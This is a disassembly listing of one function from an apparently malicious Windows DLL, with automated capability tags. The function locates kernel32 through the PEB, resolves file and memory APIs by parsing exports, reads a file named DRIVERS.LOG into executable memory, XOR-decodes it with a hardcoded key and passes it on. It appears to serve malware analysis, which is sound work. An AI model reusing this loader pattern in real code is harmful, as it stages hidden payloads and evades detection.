Function at 0x180002680
Capabilities:
Access peb ldr_data
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
mov rax, qword [0x180028008]
xor rax, rsp
mov qword [rbp + 0x90], rax
xor r12d, r12d
lea rcx, [rbp - 0x80]
xor edx, edx
mov dword [rsp + 0x40], r12d
mov r8d, 0x105
call fcn.180007a00
mov rax, qword gs:[0x60]
mov r15, qword [rax + 0x18]
add r15, 0x20
mov r14, qword [r15]
cmp r14, r15
je 0x180002d6f
nop
mov rdi, qword [r14 + 0x40]
mov rbx, r12
mov rax, 0xffffffffffffffff
nop
inc rax
cmp word [rdi + rax*2], bx
jne 0x180002700
movsxd rsi, eax
test eax, eax
jle 0x180002725
movzx ecx, word [rdi + rbx*2]
call fcn.18000cbe4
mov word [rdi + rbx*2], ax
inc rbx
cmp rbx, rsi
jl 0x180002710
lea rdx, str.kernel32.dll
mov rcx, rdi
call fcn.180007258
test rax, rax
jne 0x180002746
mov r14, qword [r14]
cmp r14, r15
jne 0x1800026f0
jmp 0x180002d6f
mov r11, qword [r14 + 0x20]
test r11, r11
je 0x180002d6f
movsxd rax, dword [r11 + 0x3c]
mov rdi, r12
mov r10d, r12d
mov r15d, dword [rax + r11 + 0x88]
add r15, r11
mov esi, dword [r15 + 0x1c]
mov r9d, dword [r15 + 0x20]
add rsi, r11
mov r14d, dword [r15 + 0x24]
add r9, r11
mov ebx, dword [r15 + 0x18]
add r14, r11
test ebx, ebx
je 0x1800027d0
lea r13, str.GetSystemDirectoryA
nop dword [rax]
mov r8d, dword [r9]
mov rax, r13
add r8, r11
sub r8, r13
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1800027b3
inc rax
test ecx, ecx
jne 0x1800027a0
test edx, edx
je 0x1800027c5
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x180002790
jmp 0x1800027d0
mov eax, r10d
movzx ecx, word [r14 + rax*2]
mov edi, dword [rsi + rcx*4]
mov esi, dword [r15 + 0x1c]
lea rax, [rdi + r11]
mov r10d, dword [r15 + 0x20]
test rdi, rdi
mov r14d, dword [r15 + 0x24]
mov r9d, r12d
cmove rax, rdi
add rsi, r11
add r10, r11
mov qword [rsp + 0x50], rax
add r14, r11
mov rdi, r12
test ebx, ebx
je 0x180002850
lea r13, str.GetModuleFileNameA
nop word [rax + rax]
mov r8d, dword [r10]
mov rax, r13
add r8, r11
sub r8, r13
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x180002833
inc rax
test ecx, ecx
jne 0x180002820
test edx, edx
je 0x180002845
inc r9d
add r10, 4
cmp r9d, ebx
jb 0x180002810
jmp 0x180002850
mov eax, r9d
movzx ecx, word [r14 + rax*2]
mov edi, dword [rsi + rcx*4]
mov esi, dword [r15 + 0x1c]
lea rax, [rdi + r11]
mov r10d, dword [r15 + 0x20]
test rdi, rdi
mov r14d, dword [r15 + 0x24]
mov r9d, r12d
cmove rax, rdi
add rsi, r11
add r10, r11
mov qword [rsp + 0x68], rax
add r14, r11
mov rdi, r12
test ebx, ebx
je 0x1800028d0
lea r13, str.CreateFileA
nop word [rax + rax]
mov r8d, dword [r10]
mov rax, r13
add r8, r11
sub r8, r13
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1800028b3
inc rax
test ecx, ecx
jne 0x1800028a0
test edx, edx
je 0x1800028c5
inc r9d
add r10, 4
cmp r9d, ebx
jb 0x180002890
jmp 0x1800028d0
mov eax, r9d
movzx ecx, word [r14 + rax*2]
mov edi, dword [rsi + rcx*4]
mov esi, dword [r15 + 0x1c]
lea rax, [rdi + r11]
mov r10d, dword [r15 + 0x20]
test rdi, rdi
mov r14d, dword [r15 + 0x24]
mov r9d, r12d
cmove rax, rdi
add rsi, r11
add r10, r11
mov qword [rsp + 0x58], rax
add r14, r11
mov rdi, r12
test ebx, ebx
je 0x180002950
lea r13, str.GetFileSize
nop word [rax + rax]
mov r8d, dword [r10]
mov rax, r13
add r8, r11
sub r8, r13
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x180002933
inc rax
test ecx, ecx
jne 0x180002920
test edx, edx
je 0x180002945
inc r9d
add r10, 4
cmp r9d, ebx
jb 0x180002910
jmp 0x180002950
mov eax, r9d
movzx ecx, word [r14 + rax*2]
mov edi, dword [rsi + rcx*4]
mov esi, dword [r15 + 0x1c]
lea rax, [rdi + r11]
mov r10d, dword [r15 + 0x20]
test rdi, rdi
mov r14d, dword [r15 + 0x24]
mov r9d, r12d
cmove rax, rdi
add rsi, r11
add r10, r11
mov qword [rsp + 0x60], rax
add r14, r11
mov rdi, r12
test ebx, ebx
je 0x1800029d0
lea r13, str.ReadFile
nop word [rax + rax]
mov r8d, dword [r10]
mov rax, r13
add r8, r11
sub r8, r13
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1800029b3
inc rax
test ecx, ecx
jne 0x1800029a0
test edx, edx
je 0x1800029c5
inc r9d
add r10, 4
cmp r9d, ebx
jb 0x180002990
jmp 0x1800029d0
mov eax, r9d
movzx ecx, word [r14 + rax*2]
mov edi, dword [rsi + rcx*4]
mov esi, dword [r15 + 0x1c]
lea rax, [rdi + r11]
mov r10d, dword [r15 + 0x20]
test rdi, rdi
mov r14d, dword [r15 + 0x24]
mov r9d, r12d
cmove rax, rdi
add rsi, r11
add r10, r11
mov qword [rsp + 0x48], rax
add r14, r11
mov rdi, r12
test ebx, ebx
je 0x180002a50
lea r13, str.CloseHandle
nop word [rax + rax]
mov r8d, dword [r10]
mov rax, r13
add r8, r11
sub r8, r13
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x180002a33
inc rax
test ecx, ecx
jne 0x180002a20
test edx, edx
je 0x180002a45
inc r9d
add r10, 4
cmp r9d, ebx
jb 0x180002a10
jmp 0x180002a50
mov eax, r9d
movzx ecx, word [r14 + rax*2]
mov edi, dword [rsi + rcx*4]
mov esi, dword [r15 + 0x1c]
lea r13, [rdi + r11]
mov r10d, dword [r15 + 0x20]
test rdi, rdi
mov r14d, dword [r15 + 0x24]
mov r9d, r12d
cmove r13, rdi
add rsi, r11
add r10, r11
add r14, r11
mov rdi, r12
test ebx, ebx
je 0x180002ac0
lea r12, str.VirtualAlloc
mov r8d, dword [r10]
mov rax, r12
add r8, r11
sub r8, r12
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x180002aa3
inc rax
test ecx, ecx
jne 0x180002a90
test edx, edx
je 0x180002ab5
inc r9d
add r10, 4
cmp r9d, ebx
jb 0x180002a81
jmp 0x180002ac0
mov eax, r9d
movzx ecx, word [r14 + rax*2]
mov edi, dword [rsi + rcx*4]
mov esi, dword [r15 + 0x1c]
lea r12, [rdi + r11]
mov r10d, dword [r15 + 0x20]
test rdi, rdi
mov r14d, dword [r15 + 0x24]
cmove r12, rdi
xor eax, eax
add rsi, r11
add r10, r11
add r14, r11
mov edi, eax
mov r9d, eax
test ebx, ebx
je 0x180002b40
lea r15, str.VirtualFree
nop dword [rax]
nop word [rax + rax]
mov r8d, dword [r10]
mov rax, r15
add r8, r11
sub r8, r15
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x180002b23
inc rax
test ecx, ecx
jne 0x180002b10
test edx, edx
je 0x180002b35
inc r9d
add r10, 4
cmp r9d, ebx
jb 0x180002b00
jmp 0x180002b40
mov eax, r9d
movzx ecx, word [r14 + rax*2]
mov edi, dword [rsi + rcx*4]
test rdi, rdi
lea r15, [rdi + r11]
cmove r15, rdi
cmp qword [rsp + 0x50], 0
je 0x180002d6f
mov rdi, qword [rsp + 0x58]
test rdi, rdi
je 0x180002d6f
mov rbx, qword [rsp + 0x60]
test rbx, rbx
je 0x180002d6f
cmp qword [rsp + 0x48], 0
je 0x180002d6f
test r13, r13
je 0x180002d6f
test r12, r12
je 0x180002d6f
test r15, r15
je 0x180002d6f
mov r8d, 0x104
lea rdx, [rbp - 0x80]
lea rcx, [0x180000000]
call qword [rsp + 0x68]
mov edx, 0x5c
lea rcx, [rbp - 0x80]
call fcn.180007470
lea r9, str.DRIVERS.LOG
lea r8, [rbp - 0x80]
lea rdx, str._s_s
lea rcx, [rbp - 0x80]
mov byte [rax], 0
call fcn.180002ea0
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
lea rcx, [rbp - 0x80]
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call rdi
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x180002d6f
xor edx, edx
mov rcx, rax
call rbx
mov r9d, 0x40
mov edx, eax
mov r8d, 0x1000
mov r14d, eax
xor ecx, ecx
mov ebx, eax
call r12
mov rdi, rax
test rax, rax
je 0x180002d6f
xor r12d, r12d
lea r9, [rsp + 0x40]
mov r8d, r14d
mov qword [rsp + 0x20], r12
mov rdx, rax
mov rcx, rsi
call qword [rsp + 0x48]
mov rcx, rsi
call r13
mov dword [rsp + 0x70], 0x56127654
mov dword [rsp + 0x74], 0x11328789
mov dword [rsp + 0x78], 0x45124332
mov word [rsp + 0x7c], 0x1311
test r14d, r14d
jle 0x180002d56
mov r9, rdi
mov r8d, r12d
mov r10d, ebx
movabs r11, 0x2492492492492493
nop dword [rax]
mov rax, r11
lea r9, [r9 + 1]
mul r8
mov rax, r8
mov rcx, r8
sub rax, rdx
inc r8
shr rax, 1
add rax, rdx
shr rax, 3
imul rax, rax, 0xe
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x70]
xor byte [r9 - 1], al
sub r10, 1
jne 0x180002ca0
mov r9, rdi
mov r8, r12
mov r10, rbx
nop
mov rax, r11
lea r9, [r9 + 1]
mul r8
mov rax, r8
mov rcx, r8
sub rax, rdx
inc r8
shr rax, 1
add rax, rdx
shr rax, 3
imul rax, rax, 0xe
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x70]
xor byte [r9 - 1], al
sub r10, 1
jne 0x180002ce0
mov r8, rdi
nop dword [rax]
mov rax, r11
lea r8, [r8 + 1]
mul r12
mov rax, r12
mov rcx, r12
sub rax, rdx
inc r12
shr rax, 1
add rax, rdx
shr rax, 3
imul rax, rax, 0xe
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x70]
xor byte [r8 - 1], al
sub rbx, 1
jne 0x180002d20
mov edx, r14d
mov rcx, rdi
call fcn.180001070
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call r15
xor eax, eax
mov rcx, qword [rbp + 0x90]
xor rcx, rsp
call fcn.180005950
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret